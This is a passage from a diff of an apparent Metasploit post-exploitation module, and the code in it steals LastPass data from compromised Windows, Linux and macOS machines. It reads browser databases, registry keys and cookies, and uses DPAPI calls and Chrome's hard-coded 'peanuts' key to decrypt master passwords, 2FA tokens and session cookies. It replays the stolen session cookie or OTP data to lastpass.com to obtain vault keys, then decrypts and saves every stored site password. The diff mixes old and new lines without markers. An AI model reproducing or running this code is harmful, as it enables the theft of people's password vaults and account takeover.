'Safari' => "#{user_profile['AppData']}/Safari/LocalStorage/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage"
}
cookies_path_map = { # TODO
'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/Cookies",
'Firefox' => "", # It's set programmatically
'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Cookies",
'Safari' => "#{user_profile['AppData']}/Cookies/Cookies.binarycookies"
}
else
print_error "Platform not recognized: #{platform}"
end
found_dbs_map[account] = {}
account_map[account] = {}
browser_path_map.each_pair do |browser, path|
account_map[account][browser] = {}
db_paths = find_db_paths(path, browser, account)
found_dbs_map[account][browser] = db_paths unless db_paths.empty?
if db_paths && db_paths.size > 0
account_map[account][browser]['lp_db_path'] = db_paths.first
account_map[account][browser]['localstorage_db'] = localstorage_path_map[browser] if file?(localstorage_path_map[browser]) || browser.match(/Firefox|IE/)
account_map[account][browser]['cookies_db'] = cookies_path_map[browser] if file?(cookies_path_map[browser]) || browser.match(/Firefox|IE/)
account_map[account][browser]['cookies_db'] = account_map[account][browser]['lp_db_path'].first.gsub("prefs.js", "cookies.sqlite") if (!account_map[account][browser]['lp_db_path'].blank? && browser == 'Firefox')
else
account_map[account].delete(browser)
end
end
end
found_dbs_map
account_map
end
# Returns a list of DB paths found in the victims' machine
@ -172,11 +160,14 @@ class Metasploit3 < Msf::Post
paths = []
vprint_status "Checking #{account}'s #{browser}"
if browser == "Firefox" # Special case for Firefox
profiles = firefox_profile_files(path, browser)
paths |= profiles
if browser == "IE" # Special case for IE
data = read_registry_key_value('HKEY_CURRENT_USER\Software\LastPass', "LoginUsers")
data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', "LoginUsers") if data.blank?
paths |= ['HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass'] if !data.blank? && path != "Low\\LastPass" # Hacky way to detect if there is access to user's data (attacker has no root access)
elsif browser == "Firefox" # Special case for Firefox
paths |= firefox_profile_files(path)
else
paths |= file_paths(path, browser, account)
paths |= file_paths(path)
end
vprint_good "Found #{paths.size} #{browser} databases for #{account}"
@ -188,11 +179,7 @@ class Metasploit3 < Msf::Post
user_profiles = []
case session.platform
when /unix|linux/
if session.type == "meterpreter"
user_names = client.fs.dir.entries("/home")
else
user_names = session.shell_command("ls /home").split
end
user_names = dir("/home")
user_names.reject! { |u| %w(. ..).include?(u) }
user_names.each do |user_name|
user_profiles.push('UserName' => user_name, "LocalAppData" => "/home/#{user_name}")
@ -216,25 +203,14 @@ class Metasploit3 < Msf::Post
end
# Extracts the databases paths from the given folder ignoring . and ..
def file_paths(path, browser, account)
def file_paths(path)
found_dbs_paths = []
files = []
if directory?(path)
sep = session.platform =~ /win/ ? '\\' : '/'
if session.type == "meterpreter"
files = client.fs.dir.entries(path)
elsif session.type == "shell"
files = session.shell_command("ls \"#{path}\"").split
else
print_error "Session type not recognized: #{session.type}"
return found_dbs_paths
end
end
files = dir(path) if directory?(path)
files.each do |file_path|
unless %w(. .. Shared).include?(file_path)
found_dbs_paths.push([path, file_path].join(sep))
found_dbs_paths.push([path, file_path].join(system_separator))
end
end
@ -242,72 +218,595 @@ class Metasploit3 < Msf::Post
end
# Returns the profile files for Firefox
def firefox_profile_files(path, browser)
def firefox_profile_files(path)
found_dbs_paths = []
if directory?(path)
sep = session.platform =~ /win/ ? '\\' : '/'
if session.type == "meterpreter"
files = client.fs.dir.entries(path)
elsif session.type == "shell"
files = session.shell_command("ls \"#{path}\"").split
else
print_error "Session type not recognized: #{session.type}"
return found_dbs_paths
end
files = dir(path)
files.reject! { |file| %w(. ..).include?(file) }
files.each do |file_path|
found_dbs_paths.push([path, file_path, 'prefs.js'].join(sep)) if file_path.match(/.*\.default/)
found_dbs_paths.push([path, file_path, 'prefs.js'].join(system_separator)) if file_path.match(/.*\.default/)
end
end
found_dbs_paths
[found_dbs_paths]
end
# Parses the Firefox preferences file and returns encoded credentials
def firefox_credentials(loot_path)
def ie_firefox_credentials(prefs_path, localstorage_db_path)
credentials = []
File.readlines(loot_path).each do |line|
if /user_pref\("extensions.lastpass.loginpws", "(?<encoded_creds>.*)"\);/ =~ line
creds_per_user = encoded_creds.split("|")
creds_per_user.each do |user_creds|
parts = user_creds.split('=')
# Any valid credentials present?
credentials << parts if parts.size > 1
end
else
next
data = nil
if prefs_path.nil? # IE
data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', "LoginUsers")
data = read_registry_key_value('HKEY_CURRENT_USER\Software\LastPass', "LoginUsers") if data.blank?
return [] if data.blank?
usernames = data.split("|")
usernames.each do |username|
credentials << [username, nil]
end
# Extract master passwords
data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', "LoginPws")
data = Rex::Text.encode_base64(data) unless data.blank?
else # Firefox
loot_path = loot_file(prefs_path, nil, 'firefox.preferences', "text/javascript", "Firefox preferences file")
return [] unless loot_path
File.readlines(loot_path).each do |line|
if /user_pref\("extensions.lastpass.loginusers", "(?<encoded_users>.*)"\);/ =~ line
usernames = encoded_users.split("|")
usernames.each do |username|
credentials << [username, nil]
end
break
end
end
# Extract master passwords
path = localstorage_db_path + system_separator + "lp.loginpws"
data = read_remote_file(path) if file?(path) # Read file if it exists
end
# Get encrypted master passwords
data = windows_unprotect(data) if data != nil && data.match(/^AQAAA.+/) # Verify Windows protection
return credentials if data.blank? # No passwords stored
creds_per_user = data.split("|")
creds_per_user.each_with_index do |user_creds, index|
parts = user_creds.split('=')
for creds in credentials
creds[1] = parts[1] if creds[0] == parts[0] # Add the password to the existing username
end
end
credentials
end
# Decrypts the password
def clear_text_password(email, encrypted_data)
return if encrypted_data.blank?
def decrypt_data(key, encrypted_data)
return nil if encrypted_data.blank?
sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(email)
sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin
if encrypted_data.include?("|") # Apply CBC
if encrypted_data.include?("|") # Use CBC
decipher = OpenSSL::Cipher.new("AES-256-CBC")
decipher.decrypt
decipher.key = sha256_binary_email # The key is the emails hashed to SHA256 and converted to binary
decipher.iv = Base64.decode64(encrypted_data[1, 24]) # Discard ! and |
encrypted_password = encrypted_data[26..-1]
else # Apply ECB
decipher.iv = Rex::Text.decode_base64(encrypted_data[1, 24]) # Discard ! and |
encrypted_data = encrypted_data[26..-1] # Take only the data part
else # Use ECB
decipher = OpenSSL::Cipher.new("AES-256-ECB")
decipher.decrypt
decipher.key = sha256_binary_email
encrypted_password = encrypted_data
end
begin
decipher.update(Base64.decode64(encrypted_password)) + decipher.final
rescue
print_error "Password for #{email} could not be decrypted"
decipher.decrypt
decipher.key = key
decrypted_data = decipher.update(Rex::Text.decode_base64(encrypted_data)) + decipher.final
rescue OpenSSL::Cipher::CipherError => e
vprint_error "Data could not be decrypted. #{e.message}"
end
decrypted_data
end
def extract_credentials(account_map)
account_map.each_pair do |account, browser_map|
browser_map.each_pair do |browser, lp_data|
account_map[account][browser]['lp_creds'] = {}
if browser.match(/Firefox|IE/)
if browser == "Firefox"
ieffcreds = ie_firefox_credentials(lp_data['lp_db_path'].first, lp_data['localstorage_db'])
else # IE
ieffcreds = ie_firefox_credentials(nil, lp_data['localstorage_db'])
end
unless ieffcreds.blank?
ieffcreds.each do |creds|
if creds[1].blank? # No master password found
account_map[account][browser]['lp_creds'][URI.unescape(creds[0])] = { 'lp_password' => nil }
else
sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(URI.unescape(creds[0]))
sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin
creds[1] = decrypt_data(sha256_binary_email, URI.unescape(creds[1]))
account_map[account][browser]['lp_creds'][URI.unescape(creds[0])] = { 'lp_password' => creds[1] }
end
end
end
else # Chrome, Safari and Opera
loot_path = loot_file(lp_data['lp_db_path'], nil, "#{browser.downcase}.lastpass.database", "application/x-sqlite3", "#{account}'s #{browser} LastPass database #{lp_data['lp_db_path']}")
account_map[account][browser]['lp_db_loot'] = loot_path
next if loot_path.blank?
# Parsing/Querying the DB
db = SQLite3::Database.new(loot_path)
result = db.execute(
"SELECT username, password FROM LastPassSavedLogins2 " \
"WHERE username IS NOT NULL AND username != '' " \
)
for row in result
if row[0]
sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(row[0])
sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin
row[1].blank? ? row[1] = nil : row[1] = decrypt_data(sha256_binary_email, row[1]) # Decrypt master password
account_map[account][browser]['lp_creds'][row[0]] = { 'lp_password' => row[1] }
end
end
end
end
end
end
# Extracts the 2FA token from localStorage
def extract_2fa_tokens(account_map)
account_map.each_pair do |account, browser_map|
browser_map.each_pair do |browser, lp_data|
if browser.match(/Firefox|IE/)
path = lp_data['localstorage_db'] + system_separator + "lp.suid"
data = read_remote_file(path) if file?(path) # Read file if it exists
data = windows_unprotect(data) if data != nil && data.size > 32 # Verify Windows protection
loot_path = loot_file(nil, data, "#{browser.downcase}.lastpass.localstorage", "application/x-sqlite3", "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}")
account_map[account][browser]['lp_2fa'] = data
else # Chrome, Safari and Opera
loot_path = loot_file(lp_data['localstorage_db'], nil, "#{browser.downcase}.lastpass.localstorage", "application/x-sqlite3", "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}")
unless loot_path.blank?
db = SQLite3::Database.new(loot_path)
token = db.execute(
"SELECT hex(value) FROM ItemTable " \
"WHERE key = 'lp.uid';"
).flatten
end
token.blank? ? account_map[account][browser]['lp_2fa'] = nil : account_map[account][browser]['lp_2fa'] = token.pack('H*')
end
end
end
end
# Print all extracted LastPass data
def print_lastpass_data(account_map)
lastpass_data_table = Rex::Ui::Text::Table.new(
'Header' => "LastPass Accounts",
'Indent' => 1,
'Columns' => %w(Account LP_Username LP_Password LP_2FA LP_Key)
)
account_map.each_pair do |account, browser_map|
browser_map.each_pair do |browser, lp_data|
lp_data['lp_creds'].each_pair do |username, user_data|
lastpass_data_table << [account, username, user_data['lp_password'], lp_data['lp_2fa'], user_data['vault_key']]
end
end
end
unless account_map.empty?
print_good lastpass_data_table.to_s
loot_file(nil, lastpass_data_table.to_csv, "lastpass.data", "text/csv", "LastPass Data")
print_vault_passwords(account_map)
end
end
def extract_vault_and_iterations(account_map)
account_map.each_pair do |account, browser_map|
browser_map.each_pair do |browser, lp_data|
lp_data['lp_creds'].each_pair do |username, user_data|
if browser.match(/Firefox|IE/)
if browser == "Firefox"
iterations_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_key.itr"
vault_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_lps.act.sxml"
else # IE
iterations_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_key_ie.itr"
vault_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_lps.sxml"
end
iterations = read_remote_file(iterations_path) if file?(iterations_path) # Read file if it exists
iterations = nil if iterations.blank? # Verify content
lp_data['lp_creds'][username]['iterations'] = iterations
# Find encrypted vault
vault = read_remote_file(vault_path)
vault = windows_unprotect(vault) if vault != nil && vault.match(/^AQAAA.+/) # Verify Windows protection
vault = vault.sub(/iterations=.*;/, "") if file?(vault_path) # Remove iterations info
loot_path = loot_file(nil, vault, "#{browser.downcase}.lastpass.vault", "text/plain", "#{account}'s #{browser} LastPass vault")
lp_data['lp_creds'][username]['vault_loot'] = loot_path
else # Chrome, Safari and Opera
db = SQLite3::Database.new(lp_data['lp_db_loot'])
result = db.execute(
"SELECT data FROM LastPassData " \
"WHERE username_hash = ? AND type = 'accts'", OpenSSL::Digest::SHA256.hexdigest(username)
)
if result.size == 1 && !result[0].blank?
if /iterations=(?<iterations>.*);(?<vault>.*)/ =~ result[0][0]
lp_data['lp_creds'][username]['iterations'] = iterations
else
lp_data['lp_creds'][username]['iterations'] = 1
end
loot_path = loot_file(nil, vault, "#{browser.downcase}.lastpass.vault", "text/plain", "#{account}'s #{browser} LastPass vault")
lp_data['lp_creds'][username]['vault_loot'] = loot_path
else
lp_data['lp_creds'][username]['iterations'] = nil
lp_data['lp_creds'][username]['vault_loot'] = nil
end
end
end
end
end
end
def extract_vault_keys(account_map)
account_map.each_pair do |account, browser_map|
browser_map.each_pair do |browser, lp_data|
browser_checked = false # Track if local stored vault key was already decrypted for this browser (only one session cookie)
lp_data['lp_creds'].each_pair do |username, user_data|
if !user_data['lp_password'].blank? && user_data['iterations'] != nil # Derive vault key from credentials
lp_data['lp_creds'][username]['vault_key'] = derive_vault_key_from_creds(username, lp_data['lp_creds'][username]['lp_password'], user_data['iterations'])
else # Get vault key decrypting the locally stored one or from the disabled OTP
unless browser_checked
decrypt_local_vault_key(account, browser_map)
browser_checked = true
end
if lp_data['lp_creds'][username]['vault_key'].nil? # If no vault key was found yet, try with dOTP
otpbin = extract_otpbin(browser, username, lp_data)
otpbin.blank? ? next : otpbin = otpbin[0..31]
lp_data['lp_creds'][username]['vault_key'] = decrypt_vault_key_with_otp(username, otpbin)
end
end
end
end
end
end
# Decrypt the locally stored vault key
def decrypt_local_vault_key(account, browser_map)
data = nil
session_cookie_value = nil
browser_map.each_pair do |browser, lp_data|
if browser == "IE" && directory?(lp_data['cookies_db'])
cookies_files = dir(lp_data['cookies_db'])
cookies_files.reject! { |u| %w(. ..).include?(u) }
cookies_files.each do |cookie_jar_file|
data = read_remote_file(lp_data['cookies_db'] + system_separator + cookie_jar_file)
next if data.blank?
if /.*PHPSESSID.(?<session_cookie_value_match>.*?).lastpass\.com?/m =~ data # Find the session id
loot_file(lp_data['cookies_db'] + system_separator + cookie_jar_file, nil, "#{browser.downcase}.lastpass.cookies", "text/plain", "#{account}'s #{browser} cookies DB")
session_cookie_value = session_cookie_value_match
break
end
end
else
case browser
when /Chrome/
query = "SELECT encrypted_value FROM cookies WHERE host_key = 'lastpass.com' AND name = 'PHPSESSID'"
when "Opera"
query = "SELECT encrypted_value FROM cookies WHERE host_key = 'lastpass.com' AND name = 'PHPSESSID'"
when "Firefox"
query = "SELECT value FROM moz_cookies WHERE host = 'lastpass.com' AND name = 'PHPSESSID'"
else
vprint_error "Browser #{browser} not supported for cookies"
next
end
# Parsing/Querying the DB
loot_path = loot_file(lp_data['cookies_db'], nil, "#{browser.downcase}.lastpass.cookies", "application/x-sqlite3", "#{account}'s #{browser} cookies DB")
next if loot_path.blank?
db = SQLite3::Database.new(loot_path)
begin
result = db.execute(query)
rescue SQLite3::SQLException => e
vprint_error "No session cookie was found in #{account}'s #{browser} (#{e.message})"
next
end
next if result.blank? # No session cookie found for this browser
session_cookie_value = result[0][0]
end
return if session_cookie_value.blank?
# Check if cookie value needs to be decrypted
if Rex::Text.encode_base64(session_cookie_value).match(/^AQAAA.+/) # Windows Data protection API
session_cookie_value = windows_unprotect(Rex::Text.encode_base64(session_cookie_value))
elsif session_cookie_value.match(/^v10/) && browser.match(/Chrome|Opera/) # Chrome/Opera encrypted cookie in Linux
begin
decipher = OpenSSL::Cipher.new("AES-256-CBC")
decipher.decrypt
decipher.key = OpenSSL::Digest::SHA256.hexdigest("peanuts")
decipher.iv = " " * 16
session_cookie_value = session_cookie_value[3..-1] # Discard v10
session_cookie_value = decipher.update(session_cookie_value) + decipher.final
rescue OpenSSL::Cipher::CipherError => e
print_error "Cookie could not be decrypted. #{e.message}"
end
end
# Use the cookie to obtain the encryption key to decrypt the vault key
uri = URI('https://lastpass.com/login_check.php')
request = Net::HTTP::Post.new(uri)
request.set_form_data("wxsessid" => URI.unescape(session_cookie_value), "uuid" => browser_map['lp_2fa'])
request.content_type = 'application/x-www-form-urlencoded; charset=UTF-8'
response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) { |http| http.request(request) }
# Parse response
next unless response.body.match(/pwdeckey\="([a-z0-9]+)"/) # Session must have expired
decryption_key = OpenSSL::Digest::SHA256.hexdigest(response.body.match(/pwdeckey\="([a-z0-9]+)"/)[1])
username = response.body.match(/lpusername="([A-Za-z0-9._%+-@]+)"/)[1]
# Get the local encrypted vault key
encrypted_vault_key = extract_local_encrypted_vault_key(browser, username, lp_data)
# Decrypt the local stored key
lp_data['lp_creds'][username]['vault_key'] = decrypt_data([decryption_key].pack("H*"), encrypted_vault_key)
end
end
# Returns otp, encrypted_key
def extract_otpbin(browser, username, lp_data)
if browser.match(/Firefox|IE/)
if browser == "Firefox"
path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_ff.sotp"
else # IE
path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + ".sotp"
end
otpbin = read_remote_file(path) if file?(path) # Read file if it exists
otpbin = windows_unprotect(otpbin) if otpbin != nil && otpbin.match(/^AQAAA.+/)
return otpbin
else # Chrome, Safari and Opera
db = SQLite3::Database.new(lp_data['lp_db_loot'])
result = db.execute(
"SELECT type, data FROM LastPassData " \
"WHERE username_hash = ? AND type = 'otp'", OpenSSL::Digest::SHA256.hexdigest(username)
)
return (result.blank? || result[0][1].blank?) ? nil : [result[0][1]].pack("H*")
end
end
def derive_vault_key_from_creds(username, password, key_iteration_count)
if key_iteration_count == 1
key = Digest::SHA256.hexdigest username + password
else
key = pbkdf2(password, username, key_iteration_count.to_i, 32).first
end
key
end
def decrypt_vault_key_with_otp(username, otpbin)
vault_key_decryption_key = [lastpass_sha256(username + otpbin)].pack "H*"
encrypted_vault_key = retrieve_encrypted_vault_key_with_otp(username, otpbin)
decrypt_data(vault_key_decryption_key, encrypted_vault_key)
end
def retrieve_encrypted_vault_key_with_otp username, otpbin
# Derive login hash from otp
otp_token = lastpass_sha256(lastpass_sha256(username + otpbin) + otpbin) # OTP login hash
# Make request to LastPass
uri = URI('https://lastpass.com/otp.php')
request = Net::HTTP::Post.new(uri)
request.set_form_data("login" => 1, "xml" => 1, "hash" => otp_token, "otpemail" => URI.escape(username), "outofbandsupported" => 1, "changepw" => otp_token)
request.content_type = 'application/x-www-form-urlencoded; charset=UTF-8'
response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) { |http| http.request(request) }
# Parse response
encrypted_vault_key = nil
if response.body.match(/randkey\="(.*)"/)
encrypted_vault_key = response.body.match(/randkey\="(.*)"/)[1]
end
encrypted_vault_key
end
# LastPass does some preprocessing (UTF8) when doing a SHA256 on special chars (binary)
def lastpass_sha256(input)
output = ""
input = input.gsub("\r\n", "\n")
input.each_byte do |e|
if 128 > e
output += e.chr
else
if (127 < e && 2048 > e)
output += (e >> 6 | 192).chr
output += (e & 63 | 128).chr
else
output += (e >> 12 | 224).chr
output += (e >> 6 & 63 | 128).chr
end
end
end
OpenSSL::Digest::SHA256.hexdigest(output)
end
def pbkdf2(password, salt, iterations, key_length)
digest = OpenSSL::Digest::SHA256.new
OpenSSL::PKCS5.pbkdf2_hmac(password, salt, iterations, key_length, digest).unpack 'H*'
end
def windows_unprotect(data)
data = Rex::Text.decode_base64(data)
rg = session.railgun
pid = session.sys.process.getpid
process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
mem = process.memory.allocate(data.length + 200)
process.memory.write(mem, data)
if session.sys.process.each_process.find { |i| i["pid"] == pid } ["arch"] == "x86"
addr = [mem].pack("V")
len = [data.length].pack("V")
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
len, addr = ret["pDataOut"].unpack("V2")
else
addr = Rex::Text.pack_int64le(mem)
len = Rex::Text.pack_int64le(data.length)
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)
pData = ret["pDataOut"].unpack("VVVV")
len = pData[0] + (pData[1] << 32)
addr = pData[2] + (pData[3] << 32)
end
return "" if len == 0
process.memory.read(addr, len)
end
def print_vault_passwords(account_map)
account_map.each_pair do |account, browser_map|
browser_map.each_pair do |browser, lp_data|
lp_data['lp_creds'].each_pair do |username, user_data|
lastpass_vault_data_table = Rex::Ui::Text::Table.new(
'Header' => "Decrypted vault from #{username}",
'Indent' => 1,
'Columns' => %w(URL Username Password)
)
if user_data['vault_loot'].nil? # Was a vault found?
print_error "No vault was found for #{username}"
next
end
encoded_vault = File.read(user_data['vault_loot'])
if encoded_vault[0] == "!" # Vault is double encrypted
encoded_vault = decrypt_data([user_data['vault_key']].pack("H*"), encoded_vault)
if encoded_vault.blank?
print_error "Vault from #{username} could not be decrypted"
next
else
encoded_vault = encoded_vault.sub("LPB64", "")
end
end
# Parse vault
vault = Rex::Text.decode_base64(encoded_vault)
vault.scan(/ACCT/) do |result|
chunk_length = vault[$~.offset(0)[1]..$~.offset(0)[1] + 3].unpack("H*").first.to_i(16) # Get the length in base 10 of the ACCT chunk
chunk = vault[$~.offset(0)[0]..$~.offset(0)[1] + chunk_length] # Get ACCT chunk
account_data = parse_vault_account(chunk, user_data['vault_key'])
lastpass_vault_data_table << account_data if account_data != nil
end
unless account_map.empty? # Loot passwords
if lastpass_vault_data_table.rows.empty?
print_status('No decrypted vaults.')
else
print_good lastpass_vault_data_table.to_s
end
loot_file(nil, lastpass_vault_data_table.to_csv, "#{browser.downcase}.lastpass.passwords", "text/csv", "LastPass Vault Passwords from #{username}")
end
end
end
end
end
def parse_vault_account(chunk, vault_key)
pointer = 22 # Starting position to find data to decrypt
labels = ["name", "folder", "url", "notes", "undefined", "undefined2", "username", "password"]
vault_data = []
for label in labels
if chunk[pointer..pointer + 3].nil?
# Out of bound read
return nil
end
length = chunk[pointer..pointer + 3].unpack("H*").first.to_i(16)
encrypted_data = chunk[pointer + 4..pointer + 4 + length - 1]
label != "url" ? decrypted_data = decrypt_vault_password(vault_key, encrypted_data) : decrypted_data = [encrypted_data].pack("H*")
decrypted_data = "" if decrypted_data.nil?
vault_data << decrypted_data if (label == "url" || label == "username" || label == "password")
pointer = pointer + 4 + length
end
return vault_data[0] == "http://sn" ? nil : vault_data # TODO: Support secure notes
end
def decrypt_vault_password(key, encrypted_data)
return nil if key.blank? || encrypted_data.blank?
if encrypted_data[0] == "!" # Apply CBC
decipher = OpenSSL::Cipher.new("AES-256-CBC")
decipher.iv = encrypted_data[1, 16] # Discard !
encrypted_data = encrypted_data[17..-1]
else # Apply ECB
decipher = OpenSSL::Cipher.new("AES-256-ECB")
end
decipher.decrypt
decipher.key = [key].pack "H*"
begin
return decipher.update(encrypted_data) + decipher.final
rescue OpenSSL::Cipher::CipherError
vprint_error "Vault password could not be decrypted with key #{key}"
return nil
end
end
# Reads a remote file and loots it
def loot_file(path, data, title, type, description)
data = read_remote_file(path) if data.nil? # If no data is passed, read remote file
return nil if data.nil?
loot_path = store_loot(
title,
type,
session,
data,
nil,
description
)
loot_path
end
# Reads a remote file and returns the data
def read_remote_file(path)
data = nil
begin
data = read_file(path)
rescue EOFError
vprint_error "Error reading file #{path} It could be empty"
end
data
end
def read_registry_key_value(key, value)
begin
root_key, base_key = session.sys.registry.splitkey(key)
reg_key = session.sys.registry.open_key(root_key, base_key, KEY_READ)
return nil unless reg_key
reg_value = reg_key.query_value(value)
return nil unless reg_value
rescue Rex::Post::Meterpreter::RequestError => e
vprint_error("#{e.message} (#{key}\\#{value})")
end
reg_key.close if reg_key
return reg_value.blank? ? nil : reg_value.data
end
def extract_local_encrypted_vault_key(browser, username, lp_data)
if browser.match(/Firefox|IE/)
encrypted_key_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_lpall.slps"
encrypted_vault_key = read_remote_file(encrypted_key_path)
encrypted_vault_key = windows_unprotect(encrypted_vault_key) if encrypted_vault_key != nil && encrypted_vault_key.match(/^AQAAA.+/) # Verify Windows protection
else
db = SQLite3::Database.new(lp_data['lp_db_loot'])
result = db.execute(
"SELECT data FROM LastPassData " \
"WHERE username_hash = ? AND type = 'key'", OpenSSL::Digest::SHA256.hexdigest(username)
)
encrypted_vault_key = result[0][0]
end
return encrypted_vault_key.blank? ? nil : encrypted_vault_key.split("\n")[0] # Return only the key, not the "lastpass rocks" part
end
# Returns OS separator in a session type agnostic way
def system_separator
return session.platform =~ /win/ ? '\\' : '/'
end
end